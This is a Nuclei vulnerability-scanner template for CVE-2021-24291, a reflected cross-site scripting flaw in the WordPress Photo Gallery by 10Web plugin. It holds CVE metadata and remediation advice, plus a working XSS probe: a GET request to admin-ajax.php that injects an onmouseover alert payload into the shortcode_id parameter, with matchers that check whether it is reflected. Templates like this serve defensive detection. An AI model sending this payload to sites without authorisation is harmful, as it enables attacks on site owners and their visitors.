nuclei-templates/http/cves/2021/CVE-2021-24291.yaml

51 lines
1.8 KiB
YAML

id: CVE-2021-24291
info:
name: WordPress Photo Gallery by 10Web <1.5.69 - Cross-Site Scripting
author: geeknik
severity: medium
description: |
WordPress Photo Gallery by 10Web plugin before 1.5.69 contains multiple reflected cross-site scripting vulnerabilities via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action, available to both unauthenticated and authenticated users.
remediation: |
Update WordPress Photo Gallery by 10Web to version 1.5.69 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/cfb982b2-8b6d-4345-b3ab-3d2b130b873a
- https://packetstormsecurity.com/files/162227/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24291
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24291
cwe-id: CWE-79
epss-score: 0.00085
epss-percentile: 0.35456
cpe: cpe:2.3:a:10web:photo_gallery:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: 10web
product: photo_gallery
framework: wordpress
tags: photo,wpscan,packetstorm,cve,cve2021,xss,wordpress,wp-plugin,10web
http:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1"%20onmouseover=alert(document.domain)//'
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
words:
- "onmouseover=alert(document.domain)//"
- "wp-content/uploads/photo-gallery"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100ea332bc0cadc2a762e03c05727f6b4be2b07e14a1f8796cf72f23802803ac7ba02205b54a6b110f64b0a72d3c9256fe09a3c6ad9f6e1a8cfcd56a0702ffde7793e38:922c64590222798bb761d5b6d8e72950